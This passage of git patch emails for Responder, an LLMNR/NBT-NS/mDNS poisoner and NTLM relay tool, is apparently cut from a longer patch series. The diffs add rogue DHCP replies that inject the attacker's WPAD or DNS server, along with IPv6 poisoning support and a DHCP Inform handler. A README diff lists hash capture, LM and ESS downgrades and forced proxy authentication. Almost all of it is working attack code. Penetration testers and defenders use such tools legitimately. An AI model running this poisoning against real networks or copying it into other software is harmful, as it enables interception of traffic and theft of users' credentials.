socket.inet_aton(self.Bind_To) + + if self.ExternalIP: + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) + self.ExternalResponderIP = utils.RespondWithIP() + else: + self.ExternalResponderIP = self.Bind_To self.Os_version = sys.platform diff --git a/utils.py b/utils.py index 3646cde..2da16be 100755 --- a/utils.py +++ b/utils.py @@ -128,6 +128,18 @@ def RespondWithIPAton(): else: return settings.Config.IP_aton.decode('latin-1') +def RespondWithIP(): + if settings.Config.PY2OR3 == "PY2": + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + else: + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": return not IsOsX() From bb17595e3fc9fafa58c8979bebc395ed872ef598 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 10 Dec 2021 21:06:03 -0300 Subject: [PATCH 111/219] Added date and time for each Responder session config log. --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 01a72c6..a720e51 100755 --- a/settings.py +++ b/settings.py @@ -284,7 +284,7 @@ class Settings: RoutingInfo = "Error fetching Routing information:", ex pass - Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) + Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) try: utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump,str(self)) From a0bf7a9baa762bb1241f8a506a94982589861dd7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 12:26:02 -0300 Subject: [PATCH 112/219] minor display fix. --- Responder.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/Responder.py b/Responder.py index 9a82287..884d637 100755 --- a/Responder.py +++ b/Responder.py @@ -241,6 +241,7 @@ def serve_thread_SSL(host, port, handler): def main(): try: + print(color('\n[+]', 2, 1) + " Listening for events...\n") threads = [] # Load (M)DNS, NBNS and LLMNR Poisoners @@ -339,9 +340,6 @@ def main(): thread.setDaemon(True) thread.start() - - print(color('\n[+]', 2, 1) + " Listening for events...\n") - if settings.Config.AnalyzeMode: print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) From 505ec3432479aeae239951c74d7f14ad4e7fd3f7 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 17:01:03 -0300 Subject: [PATCH 113/219] Added DHCP DNS vs WPAD srv injection --- Responder.py | 4 +++- poisoners/DHCP.py | 27 ++++++++++++++++----------- settings.py | 1 + 3 files changed, 20 insertions(+), 12 deletions(-) diff --git a/Responder.py b/Responder.py index 884d637..6851515 100755 --- a/Responder.py +++ b/Responder.py @@ -34,6 +34,8 @@ parser.add_option('-e', "--externalip", action="store", help="Poison all parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) +parser.add_option('-W', '--DHCP-WPAD', action="store_true", help="This option will inject a WPAD server in the DHCP response, otherwise it will be done via DNS. Default: False", dest="DHCP_WPAD", default=False) + parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) @@ -345,7 +347,7 @@ def main(): if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP - DHCP() + DHCP(settings.Config.DHCP_WPAD) while True: time.sleep(1) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 94a18e5..bf5e865 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)): sys.exit('This script is meant to be run with Python3') import struct +import random import optparse import configparser import os @@ -82,7 +83,7 @@ Interface = settings.Config.Interface Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" -DNSIP = "0.0.0.0" +DNSIP = RespondWithIP() DNSIP2 = "0.0.0.0" DNSNAME = "lan" WPADSRV = "http://"+Responder_IP+"/wpad.dat" @@ -197,22 +198,26 @@ class DHCPACK(Packet): ("Op6", "\x06"), ("Op6Len", "\x08"), ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), + ("Op252", ""), + ("Op252Len", ""), ("Op252Str", ""), #Wpad Server ("Op255", "\xff"), ("Padding", "\x00"), ]) - def calculate(self): + def calculate(self, DHCP_WPAD): self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV + if DHCP_WPAD: + self.fields["Op252"] = "\xfc" + self.fields["Op252Str"] = WPADSRV + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) + self.fields["Op6Str"] = socket.inet_aton('0.0.0.0').decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20)) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): @@ -236,7 +241,7 @@ def FindIP(data): IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) return ''.join(IP[0:4]).encode('latin-1') -def ParseDHCPCode(data, ClientIP): +def ParseDHCPCode(data, ClientIP,DHCP_WPAD): global DHCPClient global ROUTERIP PTid = data[4:8] @@ -262,7 +267,7 @@ def ParseDHCPCode(data, ClientIP): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() + Packet.calculate(DHCP_WPAD) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) @@ -281,7 +286,7 @@ def ParseDHCPCode(data, ClientIP): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate() + Packet.calculate(DHCP_WPAD) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) @@ -308,7 +313,7 @@ def SendDHCP(packet,Host): s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(NetworkSendBufferPython2or3(packet), Host) -def DHCP(): +def DHCP(DHCP_WPAD): s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((Interface, 0x0800)) SendDiscover() @@ -318,6 +323,6 @@ def DHCP(): SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) - ret = ParseDHCPCode(data[0][42:], ClientIP) + ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_WPAD) if ret: print(text("[*] [DHCP] %s" % ret)) diff --git a/settings.py b/settings.py index a720e51..fac74f7 100755 --- a/settings.py +++ b/settings.py @@ -132,6 +132,7 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + self.DHCP_WPAD = options.DHCP_WPAD if self.Interface == "ALL": self.Bind_To_ALL = True From 9dc779869b5a47fdf26cf79a727ea4a853f0d129 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 17:02:08 -0300 Subject: [PATCH 114/219] Added DHCP DNS vs WPAD srv injection --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index fac74f7..2008b1c 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.9.0' +__version__ = 'Responder 3.1.0.0' class Settings: From 76f6c88df31bbd59dc6dceba1b59251012e45f81 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 12 Dec 2021 17:55:58 -0300 Subject: [PATCH 115/219] Added DHCP DNS vs DHCP WPAD --- Responder.py | 4 ++-- poisoners/DHCP.py | 26 ++++++++++++++------------ settings.py | 2 +- 3 files changed, 17 insertions(+), 15 deletions(-) diff --git a/Responder.py b/Responder.py index 6851515..b8a819e 100755 --- a/Responder.py +++ b/Responder.py @@ -34,7 +34,7 @@ parser.add_option('-e', "--externalip", action="store", help="Poison all parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) -parser.add_option('-W', '--DHCP-WPAD', action="store_true", help="This option will inject a WPAD server in the DHCP response, otherwise it will be done via DNS. Default: False", dest="DHCP_WPAD", default=False) +parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) @@ -347,7 +347,7 @@ def main(): if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP - DHCP(settings.Config.DHCP_WPAD) + DHCP(settings.Config.DHCP_DNS) while True: time.sleep(1) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index bf5e865..443f1a3 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -83,7 +83,7 @@ Interface = settings.Config.Interface Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" -DNSIP = RespondWithIP() +DNSIP = "0.0.0.0" DNSIP2 = "0.0.0.0" DNSNAME = "lan" WPADSRV = "http://"+Responder_IP+"/wpad.dat" @@ -205,17 +205,19 @@ class DHCPACK(Packet): ("Padding", "\x00"), ]) - def calculate(self, DHCP_WPAD): + def calculate(self, DHCP_DNS): self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME - if DHCP_WPAD: - self.fields["Op252"] = "\xfc" - self.fields["Op252Str"] = WPADSRV - self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) - self.fields["Op6Str"] = socket.inet_aton('0.0.0.0').decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + if DHCP_DNS: + self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + else: + self.fields["Op252"] = "\xfc" + self.fields["Op252Str"] = WPADSRV + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) + self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20)) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) @@ -241,7 +243,7 @@ def FindIP(data): IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) return ''.join(IP[0:4]).encode('latin-1') -def ParseDHCPCode(data, ClientIP,DHCP_WPAD): +def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient global ROUTERIP PTid = data[4:8] @@ -267,7 +269,7 @@ def ParseDHCPCode(data, ClientIP,DHCP_WPAD): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate(DHCP_WPAD) + Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) @@ -286,7 +288,7 @@ def ParseDHCPCode(data, ClientIP,DHCP_WPAD): if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) - Packet.calculate(DHCP_WPAD) + Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) @@ -313,7 +315,7 @@ def SendDHCP(packet,Host): s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(NetworkSendBufferPython2or3(packet), Host) -def DHCP(DHCP_WPAD): +def DHCP(DHCP_DNS): s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((Interface, 0x0800)) SendDiscover() @@ -323,6 +325,6 @@ def DHCP(DHCP_WPAD): SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) - ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_WPAD) + ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) if ret: print(text("[*] [DHCP] %s" % ret)) diff --git a/settings.py b/settings.py index 2008b1c..a2ee6ed 100755 --- a/settings.py +++ b/settings.py @@ -132,7 +132,7 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - self.DHCP_WPAD = options.DHCP_WPAD + self.DHCP_DNS = options.DHCP_DNS if self.Interface == "ALL": self.Bind_To_ALL = True From 3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 13 Dec 2021 20:30:14 -0300 Subject: [PATCH 116/219] added: dhcp inform --- poisoners/DHCP.py | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 443f1a3..599812c 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -85,7 +85,7 @@ ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a st NETMASK = "255.255.255.0" DNSIP = "0.0.0.0" DNSIP2 = "0.0.0.0" -DNSNAME = "lan" +DNSNAME = "local" WPADSRV = "http://"+Responder_IP+"/wpad.dat" Respond_To_Requests = True DHCPClient = [] @@ -280,6 +280,26 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS): 'RequestedIP': IPConv, }) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) + + # DHCP Inform + elif OpCode == b"\x08": + IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1')) + Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'), + GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'), + ElapsedSec=Seconds.decode('latin-1')) + Packet.calculate(DHCP_DNS) + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) + DHCPClient.append(MacAddrStr) + SaveDHCPToDb({ + 'MAC': MacAddrStr, + 'IP': CurrentIP, + 'RequestedIP': RequestedIP, + }) + return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover IP = FindIP(data) From bc812da2ef4a522f1e9f7016212535b11ebe00df Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 17 Dec 2021 00:32:12 -0300 Subject: [PATCH 117/219] Updated the Readme file with the new options and removed some old stuff --- README.md | 73 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 37 insertions(+), 36 deletions(-) diff --git a/README.md b/README.md index 4677cff..9fbe7e8 100755 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Responder/MultiRelay # -LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. +IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. Author: Laurent Gaffie https://g-laurent.blogspot.com @@ -8,12 +8,12 @@ Author: Laurent Gaffie https://g-laurent.blogspot.c ## Intro ## -Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. - -The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries. +Responder is an LLMNR, NBT-NS and MDNS poisoner. ## Features ## +- Dual IPv6/IPv4 stack. + - Built-in SMB Auth server. Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default. @@ -129,42 +129,48 @@ Typical Usage Example: Options: - --version show program's version number and exit. - -h, --help show this help message and exit. + --version show program's version number and exit + -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, - BROWSER, LLMNR requests without responding. + BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 - Network interface to use. - -i 10.0.0.21, --ip=10.0.0.21 - Local IP to use (only for OSX) - -e 10.0.0.22, --externalip=10.0.0.22 - Poison all requests with another IP address than - Responder's one. + Network interface to use, you can use 'ALL' as a + wildcard for all interfaces + -i 10.0.0.21, --ip=10.0.0.21 + Local IP to use (only for OSX) + -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed + Poison all requests with another IPv6 address than + Responder's one. + -e 10.0.0.22, --externalip=10.0.0.22 + Poison all requests with another IP address than + Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM -r, --wredir Enable answers for netbios wredir suffix queries. - Answering to wredir will likely break stuff on the - network. Default: Off - -d, --NBTNSdomain Enable answers for netbios domain suffix queries. - Answering to domain suffixes will likely break stuff - on the network. Default: Off - -f, --fingerprint This option allows you to fingerprint a host that - issued an NBT-NS or LLMNR query. + Answering to wredir will likely break stuff on the + network. Default: False + -d, --DHCP Enable answers for DHCP broadcast requests. This + option will inject a WPAD server in the DHCP response. + Default: False + -D, --DHCP-DNS This option will inject a DNS server in the DHCP + response, otherwise a WPAD server will be added. + Default: False -w, --wpad Start the WPAD rogue proxy server. Default value is - Off + False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY - Upstream HTTP proxy used by the rogue WPAD Proxy for - outgoing requests (format: host:port) + Upstream HTTP proxy used by the rogue WPAD Proxy for + outgoing requests (format: host:port) -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file - retrieval. This may cause a login prompt. Default: - Off - -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) - authentication for the proxy. WPAD doesn't need to - be ON. This option is highly effective when combined - with -r. Default: Off + retrieval. This may cause a login prompt. Default: + False + -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) + authentication for the proxy. WPAD doesn't need to be + ON. This option is highly effective when combined with + -r. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and - earlier. Default: Off - --disable-ess Force ESS downgrade. Default: Off + earlier. Default: False + --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. + ## Donation ## @@ -199,11 +205,6 @@ We would like to thanks those major sponsors: Thank you. -## Official Discord Channel - -Come hang out on Discord! - -[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa) ## Copyright ## From 5d4510cc1d0479b13ece9d58ea60d187daf8cdab Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 17 Dec 2021 10:05:00 -0300 Subject: [PATCH 118/219] Added IPv6 support --- Responder.py | 82 +++++++++++++++++++---------- packets.py | 86 ++++++++++++++++++++++++++++-- poisoners/LLMNR.py | 36 +++++++------ poisoners/MDNS.py | 60 ++++++++++++--------- poisoners/NBTNS.py | 23 -------- servers/DNS.py | 20 ++++++- servers/FTP.py | 3 +- servers/HTTP.py | 17 ++---- servers/HTTP_Proxy.py | 9 ++-- servers/MSSQL.py | 0 servers/RDP.py | 2 +- settings.py | 32 ++++++++--- utils.py | 120 +++++++++++++++++++++++++++++++++++++----- 13 files changed, 352 insertions(+), 138 deletions(-) mode change 100644 => 100755 poisoners/LLMNR.py mode change 100644 => 100755 poisoners/MDNS.py mode change 100644 => 100755 poisoners/NBTNS.py mode change 100644 => 100755 servers/FTP.py mode change 100644 => 100755 servers/HTTP.py mode change 100644 => 100755 servers/HTTP_Proxy.py mode change 100644 => 100755 servers/MSSQL.py mode change 100644 => 100755 servers/RDP.py diff --git a/Responder.py b/Responder.py index b8a819e..17f0a68 100755 --- a/Responder.py +++ b/Responder.py @@ -29,14 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) - +parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) -parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) -parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) @@ -75,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass UDPServer.server_bind(self) @@ -91,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass TCPServer.server_bind(self) @@ -107,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) TCPServer.server_bind(self) @@ -118,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): def server_bind(self): MADDR = "224.0.0.251" - + MADDR6 = 'ff02::fb' self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) + #IPV6: + if (sys.version_info > (3, 0)): + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + else: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -131,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: - raise pass UDPServer.server_bind(self) class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): def server_bind(self): - MADDR = "224.0.0.252" + MADDR = '224.0.0.252' + MADDR6 = 'FF02:0:0:0:0:0:1:3' self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - + 